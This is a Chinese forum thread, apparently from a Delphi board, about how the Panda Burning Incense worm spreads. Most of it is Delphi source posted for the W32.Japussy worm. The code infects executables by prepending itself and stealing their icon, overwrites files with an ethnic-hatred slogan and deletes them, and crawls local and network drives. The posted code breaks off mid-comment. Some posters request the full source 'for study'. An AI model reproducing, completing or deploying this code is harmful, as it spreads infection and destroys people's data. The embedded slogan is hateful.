熊猫烧香的传传染机制是主动还是被动的？ ( 积分: 100 )

那些被传染的电脑都是去访问了某些网站、打开邮件、使用U盘等被传染的吗？
如果局域网内某台电脑被传染了。会主动传染其他电脑吗？好想被传染但是一直没有这个机会。大家谈谈传染的原理学习学习

xue xi ....
谁有没有完整的源代码
给我一份吧，仅作学习之用，小弟是delphi初学者
caoshangfengi2008cn2002@yahoo.com.cn

http://www.delphibbs.com/delphibbs/dispq.asp?lid=3660540

没见过.

主动的

没见过.

他会变异的 小心了

主动的
代码有下：
程序代码program Japussy;uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};const HeaderSize = 82432;
//病毒体的大小 IconOffset = $12EB8;
//PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912;
//Upx压缩过病毒体的大小 IconOffset = $92BC;
//Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe} IconSize = $2E8;
//PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize;
//PE文件主图标的尾部 ID = $44444444;
//感染标记 //垃圾码，以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall;
external 'Kernel32.dll';
//函数声明var TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False;
//日文操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;var Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then
//Win9x Result := True;
end;
{ 在流之间复制 }procedure CopyStream(Src: TStream;
sStartPos: Integer;
Dst: TStream;
dStartPos: Integer;
Count: Integer);var sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }procedure ExtractFile(FileName: string);var sStream, dStream: TFileStream;
begin
try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try dStream := TFileStream.Create(FileName, fmCreate);
try sStream.Seek(HeaderSize, 0);
/ 过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally dStream.Free;
end;
finally sStream.Free;
end;
except end;
end;
{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO;
State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }procedure SendMail;
begin
//哪位仁兄愿意完成之？end;
{ 感染PE文件 }procedure InfectOneFile(FileName: string);var HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then
//是自己则不感染 Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try for i := 0 to $108 do
//检查PE文件头 begin
SrcStream.Seek(i, soFrombegin
ning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then
//PE标记 begin
IsPE := True;
//是PE文件 Break;
end;
end;
SrcStream.Seek(-4, soFromEnd);
//检查感染标记 SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then
//太小的文件不感染 Infected := True;
finally SrcStream.Free;
end;
if Infected or (not IsPE) then
//如果感染过了或不是PE文件则退出 Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try aIcon := TIcon.Create;
try //得到被感染文件的主图标(744字节)，存入流 aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记 DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally HdrStream.Free;
end;
finally SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName);
//替换宿主文件 DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);var FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try SetFileAttributes(PChar(FileName), 0);
//去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite);
//打开文件 try Size := GetFileSize(FileHandle, nil);
//文件大小 i := 0;
Randomize;
Max := Random(15);
//写入垃圾码的随机次数 if Max < 5 then
Max := 5;
Mass := Size div Max;
//每个间隔块的大小 Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0);
//定位 //写入垃圾码，将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally FileClose(FileHandle);
//关闭文件 end;
DeleteFile(PChar(FileName));
//删除之 except end;
end;
{ 获得可写的驱动器列表 }function GetDrives: string;var DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do
//遍历26个字母 begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);var i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
Result := 0 //不是目录 else
if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
Result := 1 //不是根目录 else
Result := 2;
//是根目录 end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE);
//调整消息队列，避免引起怀疑 if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn);
//感染可执行文件 end else
if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，将B

我靠，太强了，那天我看中央电视台的那个纪录片，就是讲这个病毒的，原来也是用Delphi写的哟，原来delphi也可以写病毒的呀。